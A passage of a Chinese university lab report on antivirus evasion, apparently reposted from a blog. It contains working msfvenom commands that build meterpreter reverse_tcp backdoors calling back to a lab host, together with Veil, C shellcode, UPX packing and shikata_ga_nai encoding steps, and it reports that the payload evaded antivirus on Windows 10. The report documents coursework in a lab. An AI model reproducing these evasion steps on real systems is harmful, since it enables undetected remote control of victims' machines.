• 20192418张曦 202120222 《网络与系统攻防技术》实验三实验报告


    1.实验内容

    1. 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
    • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
    • veil,加壳工具
    • 使用C + shellcode编程
    1. 通过组合应用各种技术实现恶意代码免杀

    2. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    2.实验过程

    任务一:正确使用基础免杀工具或技巧,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    1. 正确使用msf编码器

    使用msfvenom生成后门程序

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.128 LPORT=2418 -f exe > 20192418_backdoor.exe

    用Virustotal网站扫描,得到结果:

    一次编码:

    一次编码对结果的检测几乎没有影响。

    十次编码:

    十次编码之后检测结果仍然没有变化,说明msfvenom会以固定的模板生成可执行文件,如果使用默认参数或者模板,就会出现固定特征。所以AV会针对其使用的模板来生成特征码,这样就可以解决msfvenom生成的大部分恶意代码。如果使用msfvenom免杀,就要使用原生的模板生成可执行文件exe。

    2. 使用msfvenom生成如jar之类的其他文件

    生成jar文件:

    用Virustotal网站扫描,得到结果:

    效果比msfvenom生成的恶意代码要好得多。

    生成apk文件:

    扫描:

    效果与jar文件相差无几。

    生成php文件:

    扫描:

    扫描结果比jar和apk要更好。

    生成Python文件:

    扫描:

    效果最好

    3. 使用veil-evasion生成后门程序及检测

    先安装veil

    sudo apt-get install veil-evasion

    输入veil,出现界面则安装完成

    输入use 1, 进入Evil-Evasion界面

    输入list查看可以使用的payload

    选择一个可用的playload,输入use的编号,如果要选powershell,则输入use 22

    设置地址和端口号

    set LHOST 192.168.72.128 //设置反弹连接IP
    set LPORT 2418 //设置端口
    options //查看设置情况

    generate生成文件:

    在目录下找到文件:

    用Virustotal网站扫描,得到结果:


    效果较差

    生成exe文件,输入use 7:

    generate生成文件:

    目录下找到文件:

    生成可执行文件:

    用Virustotal网站扫描,得到结果:

    效果也不行。

    4. C + shellcode编程

    先用msf生成一段shellcode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.128 LPORT=2418 -f c

    然后创建一个名为2418_c.c的文件,并把刚生成的shellcode加到代码中,如图所示:

    编译c文件为exe可执行文件:

    用Virustotal网站扫描,得到结果:

    扫描后发现效果也一般。

    5. 加壳

    使用压缩壳:
    对上面生成的2418_c.exe用UPX加壳,输入upx 2418_c.exe -o 2418_upx.exe,生成2418_upx.exe文件:

    用Virustotal网站扫描,得到结果:

    将文件拷贝到win10主机中执行,未被360安全卫士和系统杀毒软件发现:

    任务二:通过组合应用各种技术实现恶意代码免杀

    1. 使用工具shellcode_launcher

    用Msfvenom生成raw格式的shellcode

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.72.128 lport=2418 -f raw -o 20192418.raw

    任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    将raw文件拷贝到win10,在linux中使用msf开启监听

    在win10中打开cmd,进入shellcode_launcher所在文件夹,输入shellcode_launcher.exe -i 20192418.raw
    发现连接成功,输入dir,结果如下:

    任务完成,实现免杀。

    3.问题及解决方案

    • 问题1:安装veil的时候,同时要安装python,卡住无法安装。

    • 问题1解决方案:先安装wine才能安装python,期间也给虚拟机增加了内存,但是仍然卡顿,最终还是在耐心等待中成功安装了veil和相关插件。

    • 问题2:下载veil时太卡。

    • 问题2解决方案:校园网太差,没法在虚拟机里正常下载软件,换热点。

    4.学习感悟、思考等

    (1)杀软是如何检测出恶意代码的?

    基于特征码的检测,启发式恶意软件检测,基于行为的恶意软件检测。

    (2)免杀是做什么?

    免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的。

    (3)免杀的基本方法有哪些?

    改变特征码,改变行为特征,纯手工打造一个恶意软件。

    学习感悟:

    本次实验中,遇到的问题主要集中在veil的安装中,其他步骤中遇到的问题不大。这次实验给我最大的收获就是杀软不是100%的可靠,比如将2418_upx.exe加壳文件在win10中运行,
    也不会被杀软检测出来。今后还要更深入学习相关的专业知识,学习恶意代码不是为了搞破坏,而是为了更好的了解各种形态的恶意软件,在防守应对不同的恶意代码攻击时才能更得心应手。

  • 相关阅读:
    Javascript里的那些距离们
    Javascript Date类常用方法详解
    JQuery学习笔记
    淘宝、百度、网易、搜狐前端开发面试题集锦 及 答案 【陈旧,不宜再看】
    javascript 注意事项
    jQuery对象和javascript对象互换
    那些 Android 程序员必会的视图优化策略
    那些 Android 程序员必会的视图优化策略
    mysql explain用法
    Laravel如何与App交互(针对get与post)
  • 原文地址:https://www.cnblogs.com/zhangxi2418/p/16123450.html
Copyright © 2020-2023  润新知